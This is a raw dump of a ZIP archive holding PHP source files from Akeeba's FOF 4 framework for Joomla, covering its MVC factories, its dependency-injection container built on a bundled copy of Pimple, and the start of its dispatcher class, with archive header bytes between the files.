K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Factory\Magic; defined('_JEXEC') || die; use FOF40\Controller\DataController; use FOF40\Factory\Exception\ControllerNotFound; /** * Creates a DataController object instance based on the information provided by the fof.xml configuration file */ class ControllerFactory extends BaseFactory { /** * Create a new object instance * * @param string $name The name of the class we're making * @param array $config The config parameters which override the fof.xml information * * @return DataController A new DataController object */ public function make(string $name = null, array $config = []): DataController { if (empty($name)) { throw new ControllerNotFound($name); } $appConfig = $this->container->appConfig; $name = ucfirst($name); $defaultConfig = [ 'name' => $name, 'default_task' => $appConfig->get("views.$name.config.default_task", 'main'), 'autoRouting' => $appConfig->get("views.$name.config.autoRouting", 1), 'csrfProtection' => $appConfig->get("views.$name.config.csrfProtection", 2), 'viewName' => $appConfig->get("views.$name.config.viewName", null), 'modelName' => $appConfig->get("views.$name.config.modelName", null), 'taskPrivileges' => $appConfig->get("views.$name.acl"), 'cacheableTasks' => $appConfig->get("views.$name.config.cacheableTasks", [ 'browse', 'read', ]), 'taskMap' => $appConfig->get("views.$name.taskmap"), ]; $config = array_merge($defaultConfig, $config); $className = $this->container->getNamespacePrefix($this->getSection()) . 'Controller\\DefaultDataController'; if (!class_exists($className, true)) { $className = 'FOF40\\Controller\\DataController'; } $controller = new $className($this->container, $config); $taskMap = $config['taskMap']; if (is_array($taskMap) && !empty($taskMap)) { foreach ($taskMap as $virtualTask => $method) { $controller->registerTask($virtualTask, $method); } } return $controller; } } PK���\�6/HH#fof40/Factory/Magic/BaseFactory.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Factory\Magic; defined('_JEXEC') || die; use FOF40\Container\Container; abstract class BaseFactory { /** * @var Container|null The container where this factory belongs to */ protected $container; /** * Section used to build the namespace prefix. We have to pass it since in CLI we need * to force the section we're in (ie Site or Admin). {@see \FOF40\Container\Container::getNamespacePrefix() } for * valid values * * @var string */ protected $section = 'auto'; /** * Public constructor * * @param Container $container The container we belong to */ public function __construct(Container $container) { $this->container = $container; } /** * @return string */ public function getSection(): string { return $this->section; } /** * @param string $section */ public function setSection(string $section): void { $this->section = $section; } } PK���\EɶV��#fof40/Factory/Magic/ViewFactory.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Factory\Magic; defined('_JEXEC') || die; use FOF40\Factory\Exception\ViewNotFound; use FOF40\View\View; /** * Creates a DataModel/TreeModel object instance based on the information provided by the fof.xml configuration file */ class ViewFactory extends BaseFactory { /** * Create a new object instance * * @param string $name The name of the class we're making * @param string $viewType The view type, default html, possible values html, form, raw, json, csv * @param array $config The config parameters which override the fof.xml information * * @return View A DataViewInterface view */ public function make(string $name = null, string $viewType = 'html', array $config = []): View { if (empty($name)) { throw new ViewNotFound("[name : type] = [$name : $viewType]"); } $appConfig = $this->container->appConfig; $name = ucfirst($name); $defaultConfig = [ 'name' => $name, 'template_path' => $appConfig->get("views.$name.config.template_path"), 'layout' => $appConfig->get("views.$name.config.layout"), // You can pass something like .php => Class1, .foo.bar => Class 2 'viewEngineMap' => $appConfig->get("views.$name.config.viewEngineMap"), ]; $config = array_merge($defaultConfig, $config); $className = $this->container->getNamespacePrefix($this->getSection()) . 'View\\DataView\\Default' . ucfirst($viewType); if (!class_exists($className, true)) { $className = '\\FOF40\\View\\DataView\\' . ucfirst($viewType); } if (!class_exists($className, true)) { $className = $this->container->getNamespacePrefix($this->getSection()) . 'View\\DataView\\DefaultHtml'; } if (!class_exists($className)) { $className = '\\FOF40\\View\\DataView\\Html'; } return new $className($this->container, $config); } } PK���\Zˑ?��"fof40/Factory/FactoryInterface.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Factory; defined('_JEXEC') || die; use FOF40\Container\Container; use FOF40\Controller\Controller; use FOF40\Dispatcher\Dispatcher; use FOF40\Model\Model; use FOF40\Toolbar\Toolbar; use FOF40\TransparentAuthentication\TransparentAuthentication; use FOF40\View\View; use FOF40\View\ViewTemplateFinder; /** * Interface for the MVC object factory */ interface FactoryInterface { /** * Public constructor for the factory object * * @param Container $container The container we belong to */ public function __construct(Container $container); /** * Create a new Controller object * * @param string $viewName The name of the view we're getting a Controller for. * @param array $config Optional MVC configuration values for the Controller object. * * @return Controller */ public function controller(string $viewName, array $config = []): Controller; /** * Create a new Model object * * @param string $viewName The name of the view we're getting a Model for. * @param array $config Optional MVC configuration values for the Model object. * * @return Model */ public function model(string $viewName, array $config = []): Model; /** * Create a new View object * * @param string $viewName The name of the view we're getting a View object for. * @param string $viewType The type of the View object. By default it's "html". * @param array $config Optional MVC configuration values for the View object. * * @return View */ public function view(string $viewName, $viewType = 'html', array $config = []): View; /** * Creates a new Toolbar * * @param array $config The configuration values for the Toolbar object * * @return Toolbar */ public function toolbar(array $config = []): Toolbar; /** * Creates a new Dispatcher * * @param array $config The configuration values for the Dispatcher object * * @return Dispatcher */ public function dispatcher(array $config = []): Dispatcher; /** * Creates a new TransparentAuthentication handler * * @param array $config The configuration values for the TransparentAuthentication object * * @return TransparentAuthentication */ public function transparentAuthentication(array $config = []): TransparentAuthentication; /** * Creates a view template finder object for a specific View * * @param View $view The view this view template finder will be attached to * @param array $config Configuration variables for the object * * @return ViewTemplateFinder */ public function viewFinder(View $view, array $config = []): ViewTemplateFinder; /** * @return string */ public function getSection(): string; /** * @param string $section */ public function setSection(string $section): void; } PK���\D���!fof40/Container/ContainerBase.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Container; defined('_JEXEC') || die; use FOF40\Pimple\Container; class ContainerBase extends Container { /** * Magic getter for alternative syntax, e.g. $container->foo instead of $container['foo'] * * @param string $name * * @return mixed * * @throws \InvalidArgumentException if the identifier is not defined */ function __get(string $name) { return $this->offsetGet($name); } /** * Magic setter for alternative syntax, e.g. $container->foo instead of $container['foo'] * * @param string $name The unique identifier for the parameter or object * @param mixed $value The value of the parameter or a closure for a service * * @throws \RuntimeException Prevent override of a frozen service */ function __set(string $name, $value) { // Special backwards compatible handling for the mediaVersion service if ($name == 'mediaVersion') { $this[$name]->setMediaVersion($value); return; } $this->offsetSet($name, $value); } } PK���\�0�nUnUfof40/Container/Container.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Container; defined('_JEXEC') || die; use FOF40\Autoloader\Autoloader; use FOF40\Configuration\Configuration; use FOF40\Dispatcher\Dispatcher; use FOF40\Encrypt\EncryptService; use FOF40\Factory\FactoryInterface; use FOF40\Inflector\Inflector; use FOF40\Input\Input as FOFInput; use FOF40\Params\Params; use FOF40\Platform\FilesystemInterface; use FOF40\Platform\Joomla\Filesystem as JoomlaFilesystem; use FOF40\Platform\PlatformInterface; use FOF40\Render\RenderInterface; use FOF40\Template\Template; use FOF40\Toolbar\Toolbar; use FOF40\TransparentAuthentication\TransparentAuthentication as TransparentAuth; use FOF40\Utils\MediaVersion; use FOF40\View\Compiler\Blade; use JDatabaseDriver; use Joomla\CMS\Factory as JoomlaFactory; use Joomla\CMS\Session\Session; use Joomla\Input\Input as JoomlaInput; /** * Dependency injection container for FOF-powered components. * * The properties below (except componentName, bareComponentName and the ones marked with property-read) can be * configured in the fof.xml component configuration file. * * Sample fof.xml: * * <fof> * <common> * <container> * <option name="componentNamespace"><![CDATA[MyCompany\MyApplication]]></option> * <option name="frontEndPath"><![CDATA[%PUBLIC%\components\com_application]]></option> * <option name="factoryClass">magic</option> * </container> * </common> * </fof> * * The paths can use the variables %ROOT%, %PUBLIC%, %ADMIN%, %TMP%, %LOG% i.e. all the path keys returned by * Platform's * getPlatformBaseDirs() method in uppercase and surrounded by percent signs. * * * @property string $componentName The name of the component (com_something) * @property string $bareComponentName The name of the component without com_ (something) * @property string $componentNamespace The namespace of the component's classes (\Foobar) * @property string $frontEndPath The absolute path to the front-end files * @property string $backEndPath The absolute path to the back-end files * @property string $thisPath The preferred path (e.g. backEndPath for Admin * application) * @property string $rendererClass View renderer classname. Must implement * RenderInterface * @property string $factoryClass MVC Factory classname, default * FOF40\Factory\BasicFactory * @property string $platformClass Platform classname, default * FOF40\Platform\Joomla\Platform * @property MediaVersion $mediaVersion A version string for media files in forms. * * @property-read Configuration $appConfig The application configuration registry * @property-read Blade $blade The Blade view template compiler engine * @property-read JDatabaseDriver $db The database connection object * @property-read Dispatcher $dispatcher The component's dispatcher * @property-read FactoryInterface $factory The MVC object factory * @property-read FilesystemInterface $filesystem The filesystem abstraction layer object * @property-read Inflector $inflector The English word inflector * @property-read Params $params The component's params * @property-read FOFInput $input The input object * @property-read PlatformInterface $platform The platform abstraction layer object * @property-read RenderInterface $renderer The view renderer * @property-read Session $session Joomla! session storage * @property-read Template $template The template helper * @property-read TransparentAuth $transparentAuth Transparent authentication handler * @property-read Toolbar $toolbar The component's toolbar * @property-read EncryptService $crypto The component's data encryption service */ class Container extends ContainerBase { /** * Cache of created container instances * * @var array */ protected static $instances = []; /** * Public constructor. This does NOT go through the fof.xml file. You are advised to use getInstance() instead. * * @param array $values Overrides for the container configuration and services * * @throws \FOF40\Container\Exception\NoComponent If no component name is specified */ public function __construct(array $values = []) { // Initialise $this->bareComponentName = ''; $this->componentName = ''; $this->componentNamespace = ''; $this->frontEndPath = ''; $this->backEndPath = ''; $this->thisPath = ''; $this->factoryClass = 'FOF40\\Factory\\BasicFactory'; $this->platformClass = 'FOF40\\Platform\\Joomla\\Platform'; $initMediaVersion = null; if (isset($values['mediaVersion']) && !is_object($values['mediaVersion'])) { $initMediaVersion = $values['mediaVersion']; unset($values['mediaVersion']); } // Try to construct this container object parent::__construct($values); // Make sure we have a component name if (empty($this['componentName'])) { throw new Exception\NoComponent; } $bareComponent = substr($this->componentName, 4); $this['bareComponentName'] = $bareComponent; // Try to guess the component's namespace if (empty($this['componentNamespace'])) { $this->componentNamespace = ucfirst($bareComponent); } else { $this->componentNamespace = trim($this->componentNamespace, '\\'); } // Make sure we have front-end and back-end paths if (empty($this['frontEndPath'])) { $this->frontEndPath = JPATH_SITE . '/components/' . $this->componentName; } if (empty($this['backEndPath'])) { $this->backEndPath = JPATH_ADMINISTRATOR . '/components/' . $this->componentName; } // Get the namespaces for the front-end and back-end parts of the component $frontEndNamespace = '\\' . $this->componentNamespace . '\\Site\\'; $backEndNamespace = '\\' . $this->componentNamespace . '\\Admin\\'; // Special case: if the frontend and backend paths are identical, we don't use the Site and Admin namespace // suffixes after $this->componentNamespace (so you may use FOF with WebApplication apps) if ($this->frontEndPath == $this->backEndPath) { $frontEndNamespace = '\\' . $this->componentNamespace . '\\'; $backEndNamespace = '\\' . $this->componentNamespace . '\\'; } // Do we have to register the component's namespaces with the autoloader? $autoloader = Autoloader::getInstance(); if (!$autoloader->hasMap($frontEndNamespace)) { $autoloader->addMap($frontEndNamespace, $this->frontEndPath); } if (!$autoloader->hasMap($backEndNamespace)) { $autoloader->addMap($backEndNamespace, $this->backEndPath); } // Inflector service if (!isset($this['inflector'])) { $this['inflector'] = function (Container $c) { return new Inflector(); }; } // Filesystem abstraction service if (!isset($this['filesystem'])) { $this['filesystem'] = function (Container $c) { return new JoomlaFilesystem($c); }; } // Platform abstraction service if (!isset($this['platform'])) { if (empty($c['platformClass'])) { $c['platformClass'] = 'FOF40\\Platform\\Joomla\\Platform'; } $this['platform'] = function (Container $c) { $className = $c['platformClass']; return new $className($c); }; } if (empty($this['thisPath'])) { $this['thisPath'] = $this['frontEndPath']; if ($this->platform->isBackend()) { $this['thisPath'] = $this['backEndPath']; } } // MVC Factory service if (!isset($this['factory'])) { $this['factory'] = function (Container $c) { if (empty($c['factoryClass'])) { $c['factoryClass'] = 'FOF40\\Factory\\BasicFactory'; } if (strpos($c['factoryClass'], '\\') === false) { $class = $c->getNamespacePrefix() . 'Factory\\' . $c['factoryClass']; $c['factoryClass'] = class_exists($class) ? $class : '\\FOF40\\Factory\\' . ucfirst($c['factoryClass']) . 'Factory'; } if (!class_exists($c['factoryClass'], true)) { $c['factoryClass'] = 'FOF40\\Factory\\BasicFactory'; } $factoryClass = $c['factoryClass']; /** @var FactoryInterface $factory */ $factory = new $factoryClass($c); if (isset($c['section'])) { $factory->setSection($c['section']); } return $factory; }; } // Component Configuration service if (!isset($this['appConfig'])) { $this['appConfig'] = function (Container $c) { $class = $c->getNamespacePrefix() . 'Configuration\\Configuration'; if (!class_exists($class, true)) { $class = '\\FOF40\\Configuration\\Configuration'; } return new $class($c); }; } // Component Params service if (!isset($this['params'])) { $this['params'] = function (Container $c) { return new Params($c); }; } // Blade view template compiler service if (!isset($this['blade'])) { $this['blade'] = function (Container $c) { return new Blade($c); }; } // Database Driver service if (!isset($this['db'])) { $this['db'] = function (Container $c) { return $c->platform->getDbo(); }; } // Request Dispatcher service if (!isset($this['dispatcher'])) { $this['dispatcher'] = function (Container $c) { return $c->factory->dispatcher(); }; } // Component toolbar provider if (!isset($this['toolbar'])) { $this['toolbar'] = function (Container $c) { return $c->factory->toolbar(); }; } // Component toolbar provider if (!isset($this['transparentAuth'])) { $this['transparentAuth'] = function (Container $c) { return $c->factory->transparentAuthentication(); }; } // View renderer if (!isset($this['renderer'])) { $this['renderer'] = function (Container $c) { if (isset($c['rendererClass']) && class_exists($c['rendererClass'])) { $class = $c['rendererClass']; $renderer = new $class($c); if ($renderer instanceof RenderInterface) { return $renderer; } } $filesystem = $c->filesystem; // Try loading the stock renderers shipped with FOF $path = __DIR__ . '/../Render/'; $renderFiles = $filesystem->folderFiles($path, '.php'); $renderer = null; $priority = 0; foreach ($renderFiles as $filename) { if ($filename == 'RenderBase.php') { continue; } if ($filename == 'RenderInterface.php') { continue; } $className = 'FOF40\\Render\\' . basename($filename, '.php'); if (!class_exists($className, true)) { continue; } /** @var RenderInterface $o */ $o = new $className($c); $info = $o->getInformation(); if (($info->enabled ?? []) === []) { continue; } if ($info->priority > $priority) { $priority = $info->priority; $renderer = $o; } } return $renderer; }; } // Input Access service if (isset($this['input']) && is_array($this['input'])) { if (empty($this['input'])) { $this['input'] = []; } // This swap is necessary to prevent infinite recursion $this['rawInputData'] = array_merge($this['input']); unset($this['input']); $this['input'] = function (Container $c) { $input = new FOFInput($c['rawInputData']); unset($c['rawInputData']); return $input; }; } if (!isset($this['input'])) { $this['input'] = function () { return new FOFInput(); }; } // Session service if (!isset($this['session'])) { $this['session'] = function (Container $c) { return JoomlaFactory::getSession(); }; } // Template service if (!isset($this['template'])) { $this['template'] = function (Container $c) { return new Template($c); }; } // Media version string if (!isset($this['mediaVersion'])) { $this['mediaVersion'] = function (Container $c) { return new MediaVersion($c); }; if (!is_null($initMediaVersion)) { $this['mediaVersion']->setMediaVersion($initMediaVersion); } } // Encryption / cryptography service if (!isset($this['crypto'])) { $this['crypto'] = function (Container $c) { return new EncryptService($c); }; } } /** * Returns a container instance for a specific component. This method goes through fof.xml to read the default * configuration values for the container. You are advised to use this unless you have a specific reason for * instantiating a Container without going through the fof.xml file. * * Pass the value 'tempInstance' => true in the $values array to get a temporary instance. Otherwise you will get * the cached instance of the previously created container. * * @param string $component The component you want to get a container for, e.g. com_foobar. * @param array $values Container configuration overrides you want to apply. Optional. * @param string $section The application section (site, admin) you want to fetch. Any other value results in * auto-detection. * * @return \FOF40\Container\Container */ public static function &getInstance($component, array $values = [], $section = 'auto') { $tempInstance = false; if (isset($values['tempInstance'])) { $tempInstance = $values['tempInstance']; unset($values['tempInstance']); } if ($tempInstance) { return self::makeInstance($component, $values, $section); } $signature = md5($component . '@' . $section); if (!isset(self::$instances[$signature])) { self::$instances[$signature] = self::makeInstance($component, $values, $section); } return self::$instances[$signature]; } /** * Returns a temporary container instance for a specific component. * * @param string $component The component you want to get a container for, e.g. com_foobar. * @param array $values Container configuration overrides you want to apply. Optional. * @param string $section The application section (site, admin) you want to fetch. Any other value results in * auto-detection. * * @return \FOF40\Container\Container * * @throws Exception\NoComponent */ protected static function &makeInstance($component, array $values = [], $section = 'auto') { // Try to auto-detect some defaults $tmpConfig = array_merge($values, ['componentName' => $component]); $tmpContainer = new Container($tmpConfig); if (!in_array($section, ['site', 'admin'])) { $section = $tmpContainer->platform->isBackend() ? 'admin' : 'site'; } $appConfig = $tmpContainer->appConfig; // Get the namespace from fof.xml $namespace = $appConfig->get('container.componentNamespace', null); // $values always overrides $namespace and fof.xml if (isset($values['componentNamespace'])) { $namespace = $values['componentNamespace']; } // If there is no namespace set, try to guess it. if (empty($namespace)) { $bareComponent = $component; if (substr($component, 0, 4) == 'com_') { $bareComponent = substr($component, 4); } $namespace = ucfirst($bareComponent); } // Get the default front-end/back-end paths $frontEndPath = $appConfig->get('container.frontEndPath', JPATH_SITE . '/components/' . $component); $backEndPath = $appConfig->get('container.backEndPath', JPATH_ADMINISTRATOR . '/components/' . $component); // Parse path variables if necessary $frontEndPath = $tmpContainer->parsePathVariables($frontEndPath); $backEndPath = $tmpContainer->parsePathVariables($backEndPath); // Apply path overrides if (isset($values['frontEndPath'])) { $frontEndPath = $values['frontEndPath']; } if (isset($values['backEndPath'])) { $backEndPath = $values['backEndPath']; } $thisPath = ($section == 'admin') ? $backEndPath : $frontEndPath; // Get the namespaces for the front-end and back-end parts of the component $frontEndNamespace = '\\' . $namespace . '\\Site\\'; $backEndNamespace = '\\' . $namespace . '\\Admin\\'; // Special case: if the frontend and backend paths are identical, we don't use the Site and Admin namespace // suffixes after $this->componentNamespace (so you may use FOF with WebApplication apps) if ($frontEndPath == $backEndPath) { $frontEndNamespace = '\\' . $namespace . '\\'; $backEndNamespace = '\\' . $namespace . '\\'; } // Do we have to register the component's namespaces with the autoloader? $autoloader = Autoloader::getInstance(); if (!$autoloader->hasMap($frontEndNamespace)) { $autoloader->addMap($frontEndNamespace, $frontEndPath); } if (!$autoloader->hasMap($backEndNamespace)) { $autoloader->addMap($backEndNamespace, $backEndPath); } // Get the Container class name $classNamespace = ($section == 'admin') ? $backEndNamespace : $frontEndNamespace; $class = $classNamespace . 'Container'; // Get the values overrides from fof.xml $values = array_merge([ 'factoryClass' => '\\FOF40\\Factory\\BasicFactory', 'platformClass' => '\\FOF40\\Platform\\Joomla\\Platform', 'section' => $section, ], $values); $values = array_merge($values, [ 'componentName' => $component, 'componentNamespace' => $namespace, 'frontEndPath' => $frontEndPath, 'backEndPath' => $backEndPath, 'thisPath' => $thisPath, 'rendererClass' => $appConfig->get('container.rendererClass', null), 'factoryClass' => $appConfig->get('container.factoryClass', $values['factoryClass']), 'platformClass' => $appConfig->get('container.platformClass', $values['platformClass']), ]); if (empty($values['rendererClass'])) { unset ($values['rendererClass']); } $mediaVersion = $appConfig->get('container.mediaVersion', null); unset($appConfig); unset($tmpConfig); unset($tmpContainer); $container = class_exists($class, true) ? new $class($values) : new Container($values); if (!is_null($mediaVersion)) { $container->mediaVersion->setMediaVersion($mediaVersion); } return $container; } /** * The container SHOULD NEVER be serialised. If this happens, it means that any of the installed version is doing * something REALLY BAD, so let's die and inform the user of what it's going on. */ public function __sleep() { // If the site is in debug mode we die and let the user figure it out if (defined('JDEBUG') && JDEBUG) { $msg = <<< END Something on your site is broken and tries to save the plugin state in the cache. This is a major security issue and will cause your site to not work properly. Go to your site's backend, Global Configuration and set Caching to OFF as a temporary solution. Possible causes: older versions of JoomlaShine templates, JomSocial, BetterPreview and other third party Joomla! extensions. END; die($msg); } // Otherwise we serialise the Container return ['values', 'factories', 'protected', 'frozen', 'raw', 'keys']; } /** * Get the applicable namespace prefix for a component section. Possible sections: * auto Auto-detect which is the current component section * inverse The inverse area than auto * site Frontend * admin Backend * * @param string $section The section you want to get information for * * @return string The namespace prefix for the component's classes, e.g. \Foobar\Example\Site\ */ public function getNamespacePrefix(string $section = 'auto'): string { // Get the namespaces for the front-end and back-end parts of the component $frontEndNamespace = '\\' . $this->componentNamespace . '\\Site\\'; $backEndNamespace = '\\' . $this->componentNamespace . '\\Admin\\'; // Special case: if the frontend and backend paths are identical, we don't use the Site and Admin namespace // suffixes after $this->componentNamespace (so you may use FOF with WebApplication apps) if ($this->frontEndPath === $this->backEndPath) { $frontEndNamespace = '\\' . $this->componentNamespace . '\\'; $backEndNamespace = '\\' . $this->componentNamespace . '\\'; } switch ($section) { default: case 'auto': if ($this->platform->isBackend()) { return $backEndNamespace; } else { return $frontEndNamespace; } break; case 'inverse': if ($this->platform->isBackend()) { return $frontEndNamespace; } return $backEndNamespace; case 'site': return $frontEndNamespace; case 'admin': return $backEndNamespace; } } /** * Replace the path variables in the $path string. * * The recognized variables are: * * %root% Path to the site root * * %public% Path to the public area of the site * * %admin% Path to the administrative area of the site * * %api% Path to the API application area of the site * * %tmp% Path to the temp directory * * %log% Path to the log directory * * @param string $path * * @return mixed */ public function parsePathVariables(string $path) { $platformDirs = $this->platform->getPlatformBaseDirs(); // root public admin tmp log $search = array_map(function ($x) { return '%' . strtoupper($x) . '%'; }, array_keys($platformDirs)); $replace = array_values($platformDirs); return str_replace($search, $replace, $path); } } PK���\C�#NN)fof40/Container/Exception/NoComponent.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Container\Exception; defined('_JEXEC') || die; use Exception; class NoComponent extends \Exception { public function __construct(string $message = "", int $code = 0, Exception $previous = null) { if (empty($message)) { $message = 'No component specified building the Container object'; } if (empty($code)) { $code = 500; } parent::__construct($message, $code, $previous); } } PK���\�Kt�}#}#fof40/Pimple/Container.phpnu&1i�<?php /* * This file is part of Pimple. * * Copyright (c) 2009 Fabien Potencier * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is furnished * to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace FOF40\Pimple; defined('_JEXEC') || die; /** * Container main class. * * @author Fabien Potencier */ class Container implements \ArrayAccess { private $values = array(); private $factories; private $protected; private $frozen = array(); private $raw = array(); private $keys = array(); /** * Instantiate the container. * * Objects and parameters can be passed as argument to the constructor. * * @param array $values The parameters or objects. */ public function __construct(array $values = array()) { $this->factories = new \SplObjectStorage(); $this->protected = new \SplObjectStorage(); foreach ($values as $key => $value) { $this->offsetSet($key, $value); } } /** * Sets a parameter or an object. * * Objects must be defined as Closures. * * Allowing any PHP callable leads to difficult to debug problems * as function names (strings) are callable (creating a function with * the same name as an existing parameter would break your container). * * @param string $id The unique identifier for the parameter or object * @param mixed $value The value of the parameter or a closure to define an object * @throws \RuntimeException Prevent override of a frozen service */ #[\ReturnTypeWillChange] public function offsetSet($id, $value) { if (isset($this->frozen[$id])) { throw new \RuntimeException(sprintf('Cannot override frozen service "%s".', $id)); } $this->values[$id] = $value; $this->keys[$id] = true; } /** * Gets a parameter or an object. * * @param string $id The unique identifier for the parameter or object * * @return mixed The value of the parameter or an object * * @throws \InvalidArgumentException if the identifier is not defined */ #[\ReturnTypeWillChange] public function offsetGet($id) { if (!isset($this->keys[$id])) { throw new \InvalidArgumentException(sprintf('Identifier "%s" is not defined.', $id)); } if ( isset($this->raw[$id]) || !is_object($this->values[$id]) || isset($this->protected[$this->values[$id]]) || !method_exists($this->values[$id], '__invoke') ) { return $this->values[$id]; } if (isset($this->factories[$this->values[$id]])) { return $this->values[$id]($this); } $raw = $this->values[$id]; $val = $this->values[$id] = $raw($this); $this->raw[$id] = $raw; $this->frozen[$id] = true; return $val; } /** * Checks if a parameter or an object is set. * * @param string $id The unique identifier for the parameter or object * * @return bool */ #[\ReturnTypeWillChange] public function offsetExists($id) { return isset($this->keys[$id]); } /** * Unsets a parameter or an object. * * @param string $id The unique identifier for the parameter or object */ #[\ReturnTypeWillChange] public function offsetUnset($id) { if (isset($this->keys[$id])) { if (is_object($this->values[$id])) { unset($this->factories[$this->values[$id]], $this->protected[$this->values[$id]]); } unset($this->values[$id], $this->frozen[$id], $this->raw[$id], $this->keys[$id]); } } /** * Marks a callable as being a factory service. * * @param callable $callable A service definition to be used as a factory * * @return callable The passed callable * * @throws \InvalidArgumentException Service definition has to be a closure of an invokable object */ public function factory($callable) { if (!is_object($callable) || !method_exists($callable, '__invoke')) { throw new \InvalidArgumentException('Service definition is not a Closure or invokable object.'); } $this->factories->attach($callable); return $callable; } /** * Protects a callable from being interpreted as a service. * * This is useful when you want to store a callable as a parameter. * * @param callable $callable A callable to protect from being ΕνΑLυΑΤΕD (I have to use a stupid mix Greek and leetspeak because low quality hosts blacklist files due to their file scanners being utterly broken) * * @return callable The passed callable * * @throws \InvalidArgumentException Service definition has to be a closure of an invokable object */ public function protect($callable) { if (!is_object($callable) || !method_exists($callable, '__invoke')) { throw new \InvalidArgumentException('Callable is not a Closure or invokable object.'); } $this->protected->attach($callable); return $callable; } /** * Gets a parameter or the closure defining an object. * * @param string $id The unique identifier for the parameter or object * * @return mixed The value of the parameter or the closure defining an object * * @throws \InvalidArgumentException if the identifier is not defined */ public function raw($id) { if (!isset($this->keys[$id])) { throw new \InvalidArgumentException(sprintf('Identifier "%s" is not defined.', $id)); } if (isset($this->raw[$id])) { return $this->raw[$id]; } return $this->values[$id]; } /** * Extends an object definition. * * Useful when you want to extend an existing object definition, * without necessarily loading that object. * * @param string $id The unique identifier for the object * @param callable $callable A service definition to extend the original * * @return callable The wrapped callable * * @throws \InvalidArgumentException if the identifier is not defined or not a service definition */ public function extend($id, $callable) { if (!isset($this->keys[$id])) { throw new \InvalidArgumentException(sprintf('Identifier "%s" is not defined.', $id)); } if (!is_object($this->values[$id]) || !method_exists($this->values[$id], '__invoke')) { throw new \InvalidArgumentException(sprintf('Identifier "%s" does not contain an object definition.', $id)); } if (!is_object($callable) || !method_exists($callable, '__invoke')) { throw new \InvalidArgumentException('Extension service definition is not a Closure or invokable object.'); } $factory = $this->values[$id]; $extended = function ($c) use ($callable, $factory) { return $callable($factory($c), $c); }; if (isset($this->factories[$factory])) { $this->factories->detach($factory); $this->factories->attach($extended); } return $this[$id] = $extended; } /** * Returns all defined value names. * * @return array An array of value names */ public function keys() { return array_keys($this->values); } /** * Registers a service provider. * * @param ServiceProviderInterface $provider A ServiceProviderInterface instance * @param array $values An array of values that customizes the provider * * @return static */ public function register(ServiceProviderInterface $provider, array $values = array()) { $provider->register($this); foreach ($values as $key => $value) { $this[$key] = $value; } return $this; } } PK���\B��Ttt)fof40/Pimple/ServiceProviderInterface.phpnu&1i�<?php /* * This file is part of Pimple. * * Copyright (c) 2009 Fabien Potencier * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is furnished * to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ namespace FOF40\Pimple; defined('_JEXEC') || die; /** * Pimple service provider interface. * * @author Fabien Potencier * @author Dominik Zogg */ interface ServiceProviderInterface { /** * Registers services on the given container. * * This method should only be used to configure services and parameters. * It should not get services. * * @param Container $pimple An Container instance */ public function register(Container $pimple); } PK���\�B�F;#;#fof40/Dispatcher/Dispatcher.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\Dispatcher; defined('_JEXEC') || die; use Exception; use FOF40\Container\Container; use FOF40\Controller\Controller; use FOF40\Dispatcher\Exception\AccessForbidden; use FOF40\TransparentAuthentication\TransparentAuthentication; /** * A generic MVC dispatcher * * @property-read \FOF40\Input\Input $input The input object (magic __get returns the Input from the Container) */ class Dispatcher { /** @var string The name of the default view, in case none is specified */ public $defaultView; /** @var array Local cache of the dispatcher configuration */ protected $config = []; /** @var Container The container we belong to */ protected $container; /** @var string The view which will be rendered by the dispatcher */ protected $view; /** @var string The layout for rendering the view */ protected $layout; /** @var Controller The controller which will be used */ protected $controller; 